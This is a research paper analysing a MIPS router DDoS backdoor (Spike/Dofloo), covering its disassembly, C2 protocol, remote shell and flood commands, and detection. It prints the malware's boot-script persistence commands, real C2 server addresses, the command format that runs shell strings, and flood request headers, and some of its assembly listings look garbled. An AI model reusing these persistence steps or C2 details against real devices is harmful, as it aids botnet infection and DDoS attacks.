Analysis of a MIPS Malware

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Abstract
Malware functionalities have been evolving and so are their target platforms and architectures. Non-PC appliances of different architectures have not traditionally been frequent targets of malware. However, many of those appliances, due to their enhanced processing power and/or low maintenance, provide ideal targets for malware. Moreover, due to the lack of security for home routers, they often remain infected until replaced, thereby providing longer persistence for a malware. Recently, there has been a surge in malware for the MIPS and ARM architectures, targeting specific routers, DVRs, and other appliances. These network devices, in comparison, get less focus from vulnerability researchers and firmware patch application by end-users. This increases the risk of compromise and requires additional skills to cope with malware exploiting these platforms. This paper discusses various tools and techniques for reversing malware for the MIPS platform. We perform static and dynamic analysis of a MIPS malware, discuss its Command & Control mechanism, and provide detection of its network communication.
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1. Introduction

MIPS (Multiprocessor without Interlocked Pipeline Stages) architecture is a Reduced Instruction Set Computing (RISC) technology that is widely used in embedded devices. As per the statistics mentioned in MIPS instruction set (n.d.) and MIPS architecture (n.d.), MIPS-based processors are routinely used in routers from Cisco, Linksys, Mikrotik, Cable/DSL modems, video gaming consoles from Sony and Nintendo, printers, set-top boxes, and more. The ARM (Advanced RISC Machines) architecture is the most widely used architecture in smart phones, TVs, set-top boxes, and mobile devices.

Malware produced for network devices have been far less in number compared to those produced for PCs. However, this number is growing. According to various sources (Infodox, 2011; Janus, 2011) the earliest known malware-targeting MIPS platform is Hydra – an open source botnet framework released in 2008. It was designed for extensibility and features both a spreading mechanism and DDoS functionality. In 2009, another malware, Psyb0t, was found in-the-wild targeting routers and high-speed modems. Its botnet, with an estimated 100,000 compromised devices, was then used in a DDoS attack against DroneBL, an IP blacklisting service (Psyb0t, 2013).

In 2010, an IRC bot named Chuck Norris was found infecting routers and DSL modems. In addition to spreading by brute forcing routers’ passwords, this malware also exploited an authentication bypass vulnerability in D-Link routers (McMillan, 2010). Another IRC bot named Tsunami supported various commands and modified the DNS server setting in the configuration of the infected devices (Janus, 2011). This trend has been observed in more recent malware as well and is effective in redirecting traffic to malicious servers controlled by attackers.

In 2012, another IRC bot named LightAidra was found. It supported several architectures including MIPS, MIPSEL, ARM, PPC, and SuperH (Fitsec, 2012). It exploited a D-Link router vulnerability and modified firewall settings using iptables. The source code of LightAidra is freely available on the Internet as an open source project. In 2013,
Symantec discovered a worm called Darlloz (Hayashi, 2013). This malware spread by exploiting a PHP vulnerability identified by CVE-2012-1823. It targeted various architectures including x86, ARM, MIPS, and PowerPC, thereby termed as an Internet of Things (IoT) Worm by Symantec (Hayashi, 2014). In order to block users from connecting to the infected device using Telnet, it drops Telnet traffic via iptables configuration and terminates the telnetd process. According to an investigation by Symantec (Hayashi, 2014), Darlloz compromised more than 31,000 devices by February 2014. Its newer variants supported mining of cryptocurrencies (Mincoins and Dogecoins) and exploited a default password on Hikvision DVR cameras (Ullrich, 2014b). An interesting aspect of the Darlloz worm is that it specifically targets rival worm LightAidra. LightAidra stores its process ID in various files including /var/run/.lightpid, /var/run/.aidrapid, and /var/run/lightpid. The Darlloz worm attempts to terminate the processes whose PIDs are stored in these files and deletes LightAidra files from the infected device (Blinka, 2014).

In February 2014, Dr. Johannes Ullrich of the SANS Technology Institute discovered a new worm called TheMoon (Ullrich, 2014a). This malware was specifically targeting Linksys routers. One known instance of this malware, MD5:A85E4A90A7B303155477EE1697995A43, can target the following specific router models: E4200, E3200, E2500, E300, WRT610N, E1000, E1200, E1500, E1550, E2000, and E3000 (Constantin, 2014). The malware exploits a command execution vulnerability when parsing the ‘ttcp_ip’ parameter value sent in a POST request. It downloads a copy of itself by running the wget command on the vulnerable router after exploiting the vulnerability. The malware was named after the Hollywood movie, ‘Moon,’ because it contains several strings such as Moon, Gerty, Lunar, Sam, and Jupiter that match various characters in the movie. These characters in the code perform various tasks such as analysis of the infected device, harvesting targets and sending fingerprinting/exploit requests, and keeping logs. In the same year, malware Elknot was found targeting x86, ARM, and MIPS platforms (Kernelmode.info Forum, 2013), whereas GoARM/Ramgo targeted the ARM architecture (Adrian, 2014b). Moreover, newer versions of the BlackEnergy Backdoor (that has been used in APT attacks in the past) have been found
using plugins that target both the ARM and MIPS platforms (Baumgartner & Garnaeva, 2014).

Around mid-2014, a Backdoor/DDoS malware that is known by different names including Spike, AES, and Dofloo DDoS malware was discovered. Samples of this malware have been found targeting 32-bit and 64-bit Linux and Windows platforms as well as MIPS and ARM architectures. A toolkit that generates samples of the Spike DDoS malware was analyzed by the Akamai PLXsert Team (Akamai, 2014), and its report states that several Akamai customers have been targeted by DDoS attacks launched from this botnet. The peak attack by the Spike DDoS botnet, according to Akamai, was 215 Gigabits per second (Gbps) and 150 million packets per second (Mpps) (Akamai, 2014). This malware has also been discussed on the Kernelmode.info forum (Adrian, 2014a). In this paper, we analyze a sample of the Spike DDoS malware for the MIPS architecture and examine its commands, communication, and other operations.

2. Debugging Environment Setup

In order to analyze the malware binary for the MIPS architecture, the following tools were used:

- Oracle VM VirtualBox 4.3.7 r91406
- Ubuntu 12.04.4 LTS
- OpenWrt- Barrier Breaker (Bleeding Edge, r39584)
- Qemu 1.6.2
- IDA Pro 6.5.140116 (32-bit)
- Wireshark 1.10.5
- 010 Editor 3.0.4
- Python 2.7

After installing Ubuntu Linux on the Oracle VM VirtualBox, the OpenWrt Linux distribution was compiled and installed on the VM. OpenWrt also created the cross-
compiler toolchain that is required to run MIPS binaries. The firmware for Atheros AR71xx routers was selected with the OpenWrt installation.

After installing OpenWrt, Quick Emulator (QEMU) was installed in order to provide hardware virtualization for OpenWrt and to run MIPS binaries in the OpenWrt environment. The detailed guidelines for these installations are not in the scope of this paper but can be found in other resources (Craig, 2011; Vösandi, 2013). The QEMU installation created binaries for both Little Endian (*qemu-mipsel*) and Big Endian (*qemu-mips*) modes. Since the malware sample under analysis is compiled in Little Endian format, *qemu-mipsel* was used to run it. This will be demonstrated in the next section.

The malware was run in both a controlled environment (Host-only Adapter) as well as with Internet access using the Bridged Adapter. The non-controlled environment was provided in order to capture live traffic from a control server.

### 3. Analysis of the Malware

The sample under analysis is a 32-bit Little Endian ELF binary for the MIPS architecture, also known as Backdoor Spike DDoS or Dofloo. This binary was statically compiled and left unstripped; as such it contains all of its strings and import function names. The binary’s MD5 hash is 99ccdc5772a827917ae6cc8e29c78aee. These attributes are shown in the following figure:

![md5sum and file attributes of the sample](image_url)

**Figure 1:** *md5sum* and *file* attributes of the sample.

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The analysis of this malware includes both its behavioral and technical analysis which will be described in this paper.

3.1 Behavioral Analysis

When the malware was first run in a restricted environment (host-only network) it did not perform any network communication. Upon providing it access to the Internet, the malware contacted its Command & Control (C2) server at IP address 60.169.80.91, port 48080/TCP. The malware sent out some system information and received some responses. It continued exchanging messages with its control server. Other than communicating with the control server, no other suspicious connections by the malware, such as any DDoS operations, were observed in the traffic. This will later be clarified when the server responses are parsed and interpreted in the following subsections.

3.2 Technical Analysis

On the Ubuntu VM where OpenWrt and QEMU were installed, the sample file name “99ccdc-spke” was run as shown in Figure 2:

![Sample run and waiting for the gdb connection.](image)

Figure 2: Sample run and waiting for the gdb connection.

Among the above parameters, the “-E” parameter specifies the IP address of the system from which the IDA debugger will be attached to the malware process. The “-g” parameter with value “1234” puts the malware execution on hold until a debugger is attached to it on port 1234/TCP. On the remote system with IP address ‘192.168.56.1,’ the IDA debugger was configured to connect to the Ubuntu VM having IP address ‘192.168.56.101’ on port 1234. Once the attachment to the malware process was successful, the debugging session began.
In this section, functions related to C2 operations, communication mechanisms, and malware persistence will be discussed. The important code instructions have been explained using comments on their right side; however, further information on MIPS instructions can be found in Frenzel (1998) and MIPS instruction set (n.d.).

When the malware is started, it checks if its command-line has any arguments. If none are found then it assumes it is running for the first time on the target system. It then calls function `_Z8autobootPc`, which attempts to run the following commands in order to set up system persistence (reboot survival):

```
sed -i -e '/exit/d' /etc/rc.local
sed -i -e '^(\r|\n|\r)n$\d' /etc/rc.local
sed -i -e '2 i%s/s%$' /etc/rc.local
sed -i -e '2 i%s/s%$ start' /etc/rc.d/rc.local
sed -i -e '2 i%s/s%$ start' /etc/init.d/boot.local
```

The *main* function of this malware calls function ‘ `_Z14_ConnectServerv` ’ which connects to one of the C2 servers with IP address 60.169.80.91 and port 48080/TCP. The information concerning this control server is stored in global variable ‘m_OnlineInfo’ using a simple obfuscated format. The malware adds a constant value of 0x4E20 (20000) to compute the actual aforementioned IP address and port. The following code/data snippets in Figures 3 and 4 demonstrate this behavior:

```
004CF964 .globl m_OnlineInfo
004CF964 m_OnlineInfo::byte 0xFE # | # DATA XREF: ServerConnectCli(void)+BCTo
004CF964 m_OnlineInfo::byte 0x77 # | # ServerConnectCli(void)+ECTo
004CF965 .byte 0x77 # | # ServerConnectCli(void)+ECTo
004CF966 .byte 0xFE # | # ServerConnectCli(void)+ECTo
004CF967 .globl encode_url
004CF968 dword 4CF968::word 0x5855581C # | # DATA XREF: ServerConnectCli(void)+F4Tr
004CF96C dword 4CF96C::word 0x6D80 # | # DATA XREF: ServerConnectCli(void)+E4Tr
004CF970 .globl encode_url
```

Figure3: m_OnlineInfo data structure.

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If the malware cannot connect to the aforementioned control server, it may try connecting to another server with IP address 183.60.149.199 on the same port. However, it does not perform any obfuscation of this secondary control server’s IP address. This will be demonstrated while discussing one of the program threads (pthreads) started by the malware.

In function main, the malware sets some signals and creates the program threads as shown in Figure 5:

```
0040885A lui   $v0, 0x40
0040885B addiu $a0, $v0, 0x400000
0040885C move   $s1, $zero
0040885D lui   $v0, 0x41
0040885E addiu $a0, $v0, _Z3GetInfoPv - 0x410000
0040885F move   $s2, $zero
00408860 jal   pthread_create
00408861 0 nop
00408862 lui   $v0, 0x40
00408863 addiu $a0, $v0, _Z9backdoorMPv - 0x410000
00408864 move   $s2, $zero
00408865 jal   pthread_create
00408866 0 nop
00408867 lui   $v0, 0x40
00408868 addiu $a0, $v0, _Z9backdoorMPv - 0x400000
00408869 move   $s2, $zero
0040886a jal   pthread_create
0040886b 0 nop
0040886c lui   $v0, 0x40
0040886d addiu $a0, $v0, _Z9GetLocalIp
0040886e move   $s2, $zero
0040886f jal   getlocalip
```

Figure 5: pthreads called in main function.
The functionalities of the above threads are described in the following subsections.

3.2.1 ‘SendInfo’ thread

This thread is implemented in function “_Z8SendInfoPv”. It attempts to calculate the network/CPU speeds and periodically updates the control server about this information. This information is believed to be used by attackers to evaluate the operational capabilities of their bots and thus will assign DDoS tasks according to their CPU power and network bandwidth/speed.

This function also checks ifconfig information for Ethernet interfaces ranging from ‘eth0’ through ‘eth9’. It reads data from pseudo-file /proc/net/dev and computes network speed in Mbps. This file provides statistics on each network interface regarding the number of bytes sent/received, number of inbound/outbound packets, and more. Please refer to Figures 6, 7, and 8 which depict the code where this information is collected:

```
00409250 loc_409250:     # V0 gets 0 as first value
00409250 lw  $v0, 0x78+var_710($fp)  # Runs loop from 0 to 9
00409254 slti  $v0, 0xA  # 'eth'
00409258 bnez  $v0, loc_409150  # 'eth'
```

```
00409150 1loc_409150:     # 'eth'
00409150 li $v0, 0x687465  # a0 = 0
00409154 sw $v0, 0x78+var_6EC($fp)  # a1 = 2
00409158 sb $zero, 0x78+var_6E8($fp)  # a2 = 0
0040915C sb $zero, 0x708+var_6E4($fp)  # a3 = 0
00409160 addiu $v0, $fp, 0x78+var_6E4
00409164 move $a0, $v0  # a0 = 0
00409168 li $a1, 2  # 'eth'
00409170 lui $v0, 0x4A
00409174 addiu $a2, $v0, (a0 - 0x4A0000)  # 'eth'
00409178 lw $a3, 0x78+var_710($fp)  # a3 = 0
0040917C jal  snprintf  # snprintf
00409180 nop
00409184 addiu $v1, $fp, 0x78+var_6EC
00409188 addiu $v0, $fp, 0x78+var_6E4
0040918C move $a0, $v1  # a0 = 'eth'
00409190 move $a1, $v0  # a1 = '0'
00409194 jal  strcat  # Constructs "eth0"
00409198 nop
0040919C addiu $v0, $fp, 0x78+var_6EC
004091A0 move $a0, $v0  # a0 = "eth0"
004091A4 jal  _Z11my_ipconfigPc  # my_ipconfig(char *)
004091A8 nop
```

Figure 6: Construct interface ‘ethN’ and call my_ipconfig.

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Figure 7: Open /proc/net/dev.

Figure 8: Print network interface speed.

The malware also calculates the percentage of CPU usage by reading and processing values in /proc/stat. This pseudo-file keeps various statistics about the system since it was last run. The following figure shows two calls to a function that reads /proc/stat:

Figure 9: Two function calls for reading /proc/stat.

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Next, Figure 10 shows a part of the code inside function 
\texttt{”\_Z10get\_occupyP6occupy”}:

\begin{verbatim}
004a05a0  _Z10get_occupyP6occupy:
  004a05a0
  004a06a0  var_428  = -0x428
  004a06a0  var_424  = -0x424
  004a06a0  var_420  = -0x420
  004a06a0  var_418  = -0x418
  004a06a0  var_40c  = -0x40c
  004a06a0  var_408  = -0x408
  004a06a0  var_4  = -4
  004a06a0  arg_0  =  0

  004a06a0  addiu $sp, -0x438
  004a06a0  sw $ra, 0x438+var_4($sp)
  004a06a0  sw $fp, 0x438+var_8($sp)
  004a06a0  move $fp, $sp
  004a06a0  sw $a0, 0x438+arg_0($fp)
  004a06a0  lui $a0, 0x4a
  004a06b8  addiu $a0, $0, (aProcStat - 0x4A0000) # $./proc/stat
  004a06c0  lui $a0, 0x4a
  004a06c8  addiu $a1, $0, (aR - 0x4A0000) # "r"
  004a06c8  jal open
  004a06c8  nop

Figure 10: Read /proc/stat.
\end{verbatim}

The malware then prints the CPU usage percentage and network speed information into a pre-defined format. If the socket has been created, it sends out that data to its control server. Figure 11 demonstrates this behavior:

\begin{verbatim}
004a0944 loc_4094dh:  # v0 = 0x3f800000
  004a0944 lw $v0, _cpu_used
  004a094c  mfc1 $v0, $f1
  004a094e  blt.s $f0, $f1
  004a094e  mfc1 $v0, $f0
  004a0950  mfc1 $v1, $f1
  004a0953  addiu $a0, $fp, 0x738+var_6E0 # [a0] = [0x407fff80] - 0
  004a0953  addiu $a1, $fp, 0x738+var_700 # [a1] = [0x407fff80] - "58.87 Mbps"
  004a095d  sw $a1, 0x738+var_728($sp)
  004a095f  la $a0, aInfo_OFs
  004a0960  move $a2, $0
  004a0962  move $a3, $v1
  004a0964  jal printf
  004a096c  jal send
  004a0970  lw $v0, MainSocketA
  004a0972  beqz $v0, loc_409588

Figure 11: Print INFO data and send to the server.
\end{verbatim}

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The periodic speed information sent by this thread to its control server is shown in Figure 12 that represents the traffic captured through Wireshark:

![Figure 12: INFO packets sent by the malware.](image)

### 3.2.2 'backdoorA' Thread

This thread collects system information and sends it out to the control server. The information sent out by this thread includes OS Kernel version, CPU speed, total memory size, used memory size, and some hard-coded strings such as ‘VERSONEX’ and ‘Hacker.’ These strings have been observed in several samples of this malware family. The following figure shows the initial request captured through Wireshark:
Figure 13: backdoorA thread identifying to the server with system information.

This thread contains information about a secondary control server that could be contacted in case the primary control server is not available. The following figure shows the code containing IP and port number of the secondary control server:

```
00408B20 li $a0, 0xBBD0  # Port = 0xBBD0 (48080)
00408B24 jal netohs
00408B28 nop
00408B2C sh $v0, 0xF8+var_B6($fp)
00408B30 li $v0, 2
00408B34 sh $v0, 0xF8+var_B8($fp)
00408B38 li $v0, 0xC7953CB7  # IP = 183.60.149.199
00408B40 sw $v0, 0xF8+var_B4($fp)
00408B44 li $v0, 1
00408B48 sw $v0, 0xF8+var_A4($fp)
00408B4C addiu $v0, $fp, 0xF8+var_A4
00408B50 lw $a0, 0xF8+var_D0($fp)
00408B54 li $a1, 0x667E
00408B58 move $a2, $v0
00408B5C jal ioctl
00408B60 nop
00408B64 addiu $v0, $fp, 0xF8+var_B8
00408B68 lw $a0, 0xF8+var_D0($fp)
00408B6C move $a1, $v0
00408B70 li $a2, 0x10
00408B74 jal connect  # Connect
00408B78 nop
```

Figure 14: Secondary control server’s IP and port information.
The following code snippet is used to construct and send the data shown above in Figure 13. The payload size of the packet is fixed to 0x400 (1024) bytes.

```
00409958 lw $a3, 0x1068+var_F8($fp)  # a3 = 1
0040995C lw $a2, 0x1068+var_F4($fp)  # a2 = 0xD1E (3358)
00409960 lw $a1, 0x1068+var_F0($fp)  # a1 = 0x2EB (747)
00409964 lw $a0, 0x1068+var_EC($fp)  # a0 = 0x2A0 (672)
00409968 addiu $v1, $fp, 0x1068+var_1010  # v1 = 0x407FF540
0040996C addiu $v0, $fp, 0x1068+var_15C  # [v0] = [0x407FF54F] = '3.11.0-15-generic'
00409970 sw $a0, 0x1068+var_1550($sp)  
00409974 sw $a2, 0x1068+var_1540($sp)  
00409978 sw $a1, 0x1068+var_1550($sp)  
0040997C sw $a0, 0x1068+var_1540($sp)  
00409980 la $a0, ahacker  # 'Hacker'
00409984 sw $a0, 0x1068+var_1048($sp)  
00409988 nve $a0, $v1  # Output buffer = 0x407FF540
00409990 li $a1, 0x400  
00409994 lui $v1, 0x40  
00409998 addiu $a2, $v1, (aVersionUnix_0 - 0x408000)  # VERSION: Linux-%s-mips|%d|%d MHz|%d MB|%d MB|%s
0040999C nve $a3, $v0  # [a3] = [0x408004F4] = "3.11.0-15-generic"
004099A0 jal snprintf  # snprintf
004099A4 nop  
004099A8 lw $v0, MainSocketA  
004099B0 bnez $v0, loc_4099C8  
004099B4 nop  
004099B8 j loc_409E80  
004099C0 # --------------------------------------------------------------
004099C0 loc_4099C0:  # CODE XRREF:_ConnectServerA(void)+210f
004099C0 lui $v0, 0x40  
004099C4 lw $v1, MainSocketA  
004099C8 addiu $v0, $fp, 0x1068+var_1010  
004099CC nve $a0, $v1  # Data = "VERSION:Linux-3.11.0-15-generic-mips|...."
004099D0 nve $a1, $v0  
004099D4 li $a2, 0x400  # Size = 0x400 (1024)
004099D8 nve $a3, $zero  
004099DC jal send  # Send
```

Figure 15: Print and send system information.

In response to the above request, the server sent the following command/data that is captured and parsed by Wireshark:
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Figure 16: Server response to the request by backdoorA thread.

In the above response, the first DWORD '07 00 00 00' is the command code. The payload size of the server response is 0x19D; however, the malware parses only the fixed size 0x19C (412) bytes of it. The command codes expected by this thread are 5, 6, and 7.

The following code snippet demonstrates how the server response is received and parsed:
Thus, the commands supported by this thread are:

- **CmdShell (0x05)**
- **DealwithDDoS (0x06)**
- **Kill a process OR continue (0x07)**

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Each of the above commands and its functionality are described in the following subsections.

### 3.2.2.1 CmdShell (0x05) Command

If the command code matches 0x05, the malware copies data after the first DWORD in the server response to a buffer. It then calls function “\_Z8CmdshellP8\_MSGHEAD”, which then calls the ‘System’ function to execute a command. The malware locates the shell command at offset 0x100 (256) within the data part of the server response. The command string has to be Null-terminated, whereas the rest of the data in the server response was redundant and not used while executing command 0x05. The following code snippets demonstrate this behavior:

```assembly
00007610 # Cmdshell(_MSGHEAD *)
00007615 .globl _Z8CmdshellP8\_MSGHEAD
0000761c _Z8CmdshellP8\_MSGHEAD:          # CODE XREF: _ConnectServerA(void)+67840
0000761c
0000761c
0000761c  var_. = -8
0000761c  var_. = -4
0000761c  arg_ = 0
0000761c
0000761c addiu $sp, -0x20
00007620 sw $ra, 0x20+var_.($sp)            | 0
00007624 sw $fp, 0x20+var_.($sp)
00007628 move $sp, $sp
0000762c sw $a0, 0x20+arg_($fp)          // $v0 gets pointer to data after command code
00007630 lw $s0, 0x20+arg_($fp)          // Offset 0x100 (256) added to $v0
00007634 addiu $s0, 0x100
00007638 move $a0, $s0
0000763c jal system                       // Execute the command
00007640 nop .
```

Figure 18: Call Cmdshell function.

```assembly
00007640 loc:\_load:\_load:
0000764a addiu $s0, $fp, 0x1068+var_c10
00007650 addiu $s1, $fp, 0x1068+var_c14
0000765c li $v0, 0x198
0000765e move $s1, $v1
00007660 move $s2, $v0
00007664 jal _Z8CmdshellP8\_MSGHEAD       // Copies 0x198 bytes after Command Code to a buffer
00007668 nop
0000766a addiu $s0, $fp, 0x1068+var_c10
0000766c move $s0, $v0
0000766e jal _Z8CmdshellP8\_MSGHEAD        // Cmdshell(_MSGHEAD *)
00007670 nop
```

Figure 19: Inside Cmdshell runs command at offset 0x100.

Since the control server did not send command 0x05 at the time of this research, a Python script (see Appendix A for details) was written by the author that listened for a message from the malware and sent the command 0x05. For this purpose, the response containing

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command 0x07, which was received earlier from the actual control server, was modified to command code 0x05 and a shell command at offset 0x100 (starting from the command data part) was sent to the malware. As a result of sending that command, the malware created a text file with the string that is written to it via the ‘echo’ shell command. The following figure demonstrates the shell command that was sent to the malware using the Python script:

Figure 20: Modified response sent with Shell command.

### 3.2.2.2 DealwithDDoS (0x06) Command

When command code 0x06 is found, the malware performs AES decryption of the data that is sent in the server response. It then performs expansion of the decryption key and then calls function ‘\_ZN3AES9InvCipherEPd’ or ‘AES::InvCipher(uchar *)’ in a loop. In each round, 16 bytes of data is decrypted. Once decryption is completed, the malware calls function ‘DealwithDDoS(_MSGHEAD *)’. The following code snippets are used in these operations:
Based on the static code analysis, when the ‘DealwithDDoS’ function is started, it calls various flooding pthreads depending on the instructions received from the control server. Since at the time of this research the control server did not send DDoS command 0x06, the complete structure of this command is not known. The flooding attacks supported by this function are found in the following pthreads:

- TCP_Flood
- CC_Flood
- CC2_Flood
- CC3_Flood

The following code snippets show some of the pthreads started by the DDoS function:

```assembly
0x000d70  loc_400d70:            # CODE XREF: _ConnectServerA(void)+4AEF
0x000d70  lui    $v0, 0x4AD
0x000d74  li     $v1, 2
0x000d78  sw     $v1, 0
0x000d7c  addiu  $v0, $fp, 0x1068+var_C10  # Pointer to server data after command code
0x000d80  move   $a0, $v0
0x000d84  lui    $v0, 0x4AD
0x000d88  addiu  $a1, $v0, (key_0 - 0x400000)
0x000d8c  jal    _CM3AES62EPH  # AES::AES(uchar *) << AES Key Expansion/initialization
0x000d90  nop.
```

Figure 21: AES key expansion/initialization.

```assembly
0x000d92  move   $a0, $v1
0x000d96  move   $a1, $v0
0x000d9a  jal    _CM3AES9InvCipherEPH  # AES::InvCipher(uchar *) << decrypts 16 bytes in each round
0x000d9e  lw     $v0, 0x1068+var_103A($fp)
0x000da0  addiu  $v0, $v0, 1
0x000da4  sw     $v0, 0x1068+var_103A($fp)
0x000da8  loc_400da8:          # CODE XREF: _ConnectServerA(void)+570Fj
0x000da8  lw     $v1, 0x1068+var_103A($fp)
0x000db0  li     $v0, 0x19
0x000db4  addiu  $v0, $v0, 1
0x000db8  bnez   $v0, loc_409d18
0x000dc0  addiu  $v1, $fp, 0x1068+var_47C
0x000dc4  addiu  $v0, $fp, 0x1068+var_789
0x000dc8  move   $a0, $v1
0x000dcc  move   $a1, $v0
0x000dd0  li     $a2, 0x198
0x000dd4  jal    memcpy  # Copies decrypted data to a buffer at 409001B4
0x000dd8  nop.
0x000ddc  addiu  $v0, $fp, 0x1068+var_47C
0x000de0  move   $a0, $v0
0x000de4  jal    _Z12DealwithDDoS(MSGHEAD *)  # DealwithDDoS(MSGHEAD *)
0x000de8  nop.
```

Figure 22: Decrypt DDoS command and call DealwithDDoS.

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Based on the static code analysis, in the case of **CC_Flood** (Figure 24) DDoS, the malware sends out HTTP GET requests until the ‘StopFlag’ is set to 1. The following are some of the headers used in building such requests:

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The **CC2_Flood** (Figure 25) and **CC3_Flood** (Figure 26) DDoS also send out HTTP GET requests with some minor differences. For example, headers used with CC2_Flood requests are as follows:

```
Accept-Language: zh-CN
User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)
Accept: text/html, application/xhtml+xml, */*
```

### 3.2.2.3 Kill a Process or Continue (0x07) Command:

This command checks if the value of its ‘pid’ global variable is non-Null; then it attempts to terminate the process with that process ID. If the value is Null, the malware continues to the beginning of the loop and sends the next request to the server. Notice that the functionality of this command does not require a large amount of data (0x19C bytes) to be sent by the server. However, since the length of the received data is hard-coded in several places, the control server appears to be sending garbage data along with command 0x07. The following code snippet demonstrates the functionality of this command:

```
```
Figure 27: Command 0x07 – kill a process and/or continue.

3.2.3 'backdoorM' Thread

This thread performs very similar functions to the ‘BackdoorA’ thread with the exception that it has one additional command 0x01. This command updates flag value ‘statM’ to zero. This flag found at the beginning of the function is used to determine whether to sleep for a certain amount of time or continue operations if it is zero. This is shown in the following figure:

Figure 28: Command 0x01 – unset a flag.

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3.2.4 Detection and Indicators of Compromise (IoC)

3.2.4.1 Traffic Detection

As described earlier, the first request sent out by the malware with system information has a fixed payload size of 0x400 (1024) bytes. This value can be checked as a ‘dsize’ value along with other patterns in a Snort signature. The following is a Snort signature that can be used to detect a malware request sent to its control server:

```
alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"SpikeDDoS Malware Detection"; dsize:1024; content:"VERSONEX\|3a\|"; nocase; offset:0; depth:9; content:"MHz\|7c\|"; nocase; distance:4; within:48; content:"MB\|7C\|"; nocase; distance:3; within:8; content:"\00 00 00 00 00 00 00 00\|"; distance:32; within:32; classtype:Botnet; sid:1100110010; rev:1;)
```

The server response sent to the malware must also be at least 0x19C (412) bytes. The first 4 bytes are command codes including 1, 5, 6, and 7. A signature for the server response is also possible but since the malware request has several options for pattern detection, it is sufficient for traffic detection and would be more efficient compared to signature detection for the server response.

3.2.4.2 Indicators of Compromise (IoC)

When the malware is started, it checks the number of its command-line parameters. If it does not have any parameters, it calls function ‘_Z8autobootPc’. In this function the malware sets up its reboot survival mechanism. It attempts to add itself to the following files:

- /etc/rc.local
- /etc/rc.d/rc.local
- /etc/init.d/boot.local

In the case of /etc/rc.local, the malware removes any lines containing string “exit”. As a result of this, a line containing string “exit 0” was deleted from the /etc/rc.local file on the infected system. Furthermore, the malware also removes any empty lines from this...
file. Commands that perform these operations were previously examined. The malware then adds itself with parameter “reboot” to file `/etc/rc.local` as shown in the following:

```bash
#!/bin/sh -e

/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot
#
# rc.local
# [...truncated...]
```

In the case of `/etc/rc.d/rc.local` and `/etc/init.d/boot.local` an error occurred when passing a parameter pointer to the malware filename string. However, when the parameter was passed correctly by modifying register ‘a3’ value after instruction at address 0x0040AF40, the malware created the following entry in `/etc/rc.d/rc.local` with parameter “start”. It uses the same format string for adding itself to `/etc/init.d/boot.local` as well, as shown below.

```bash
/home/username/openwrt/staging_dir/target-mips_34kc_uClibc-0.9.33.2/root-ar71xx/MalwareFileName reboot start
```

Please note that these target configuration files may not exist on all systems. The malware does not check for the existence of these files before attempting to write its command-line to them.

### 4. Debugging Challenges and Workarounds

The malware sample under analysis frequently uses forks and pthreads. As a result, multiple threads and instances of the malware are instantiated. In order to analyze such a code flow, `gdb` debugger provides various custom options such as setting `follow-fork-mode` and `non-stop` mode. However, through IDA Pro debugger these custom options for remote `gdb` debugging could not be enabled. As a workaround, a `fork` call in the `main` function was deactivated with NOP instructions. Figures 28 and 29 demonstrate the code
where the fork was disabled in order to continue debugging the subsequent operations of the malware:

```
00408370  loc_400370:   # fork (00408370 50 0d 10 0c 00 00 00 00)
00408370    jal  fork
00408374  nop
00408376  sw  $v0, 0xc0+var_AB($fp)
0040837c  lw  $v0, 0xc0+var_AB($fp)
00408380  sltu $v0, $zero, $v0
00408384  andi $v0, 0xff
00408388  beqz $v0, loc_40039c
0040838c  nop
```

Figure 29: Original code with fork call.

```
00408370  loc_400370:   # Nop instructions (00408370 00 00 00 00 00 00 00 00)
00408370  nop
00408374  nop
00408376  sw  $v0, 0xc0+var_AB($fp)
0040837c  lw  $v0, 0xc0+var_AB($fp)
00408380  sltu $v0, $zero, $v0
00408384  andi $v0, 0xff
00408388  beqz $v0, loc_40039c
0040838c  nop
```

Figure 30: Disabled fork call.

After bypassing the fork call and some flag checks, when the first ‘pthread’ call reached the ‘SendInfo’ function, the debugging session with IDA debugger was terminated. Since IDA Pro was configured to use gdb debugger for remote debugging of the MIPS binary, the default operation of gdb is the ‘stop-all’ (all threads stopped) mode. Whereas for debugging asynchronous multi-threaded code, it requires operating in the ‘non-stop’ mode to allow threads other than the debugged thread to continue running. With very limited command line options supported via IDA Pro Command-line for gdb, it could not be determined whether any other method could be used to enable these custom options for use of the gdb debugger via IDA Pro. To address this issue, it was attempted to use gdb directly and to configure it to operate in the non-stop mode. As such, an instance of gdb compiled for the MIPS architecture was used to attach to the malware sample running within QEMU. However, when gdb with the non-stop mode attempted to attach to the remote process, it presented the following error message stating that the remote
process does not support the non-stop mode. Thus, this attempt was not successful either.

Figure 31 depicts this error message:

![GDB Output]

Figure 31: Non-stop mode attempt via MIPS gdb.

Thus, for the debugging of threads, the binary was patched and pthread calls were replaced with direct function calls to thread functions. The following figure shows the modified calls to the thread functions:

```
004053FC  li $a0, 1
00405400  jal close
00405404  nop
00405408  li $a0, 2
0040540c  jal close
00405410  nop
00405414  jal _Z8SendInfoPu # SendInfo(void *)
00405418  nop # 00405414 DF 25 10 0C 00 00 00 00
0040541c  nop # CODE XREF: SendInfo(void *)+1C↑j
0040541c  jal _Z9backdoorAPu # backdoorA(void *)
00405420  nop # 0040541c 64 29 10 0C 00 00 00 00
00405424  jal _Z9backdoorMPu # backdoorM(void *)
00405428  nop # 00405424 8E 29 10 0C 00 00 00 00
0040542c  nop
00405430  nop
00405434  nop
```

Figure 32: Modified calls to thread functions.

When each of the pthread functions was analyzed, it was found that they ran asynchronously in their respective infinite loops. However, certain information such as socket creation and the ability to start/stop certain operations are communicated through global flag variables. When asynchronous thread functions were executed in ‘all-stop’
mode, it required the modification of certain jump instructions in order to debug the subsequent function.

As described in MIPS instruction set (n.d.) and various other documentations, the J-type or Jump instructions on the 32-bit MIPS architecture are comprised of 6-bit Opcode/Instructions and 26-bit jump target addresses. Since a 32-bit address value can only be represented within 26-bits of a jump instruction, the address is divided by 4 before using it with a jump instruction. In order to modify a jump value to be used in a MIPS instruction, the following formula is used:

\[
\text{Operand Address (26-bits)} = \frac{(\text{target destination address})}{4} = \text{quotient} \& 0x03FFFFFF 
\]

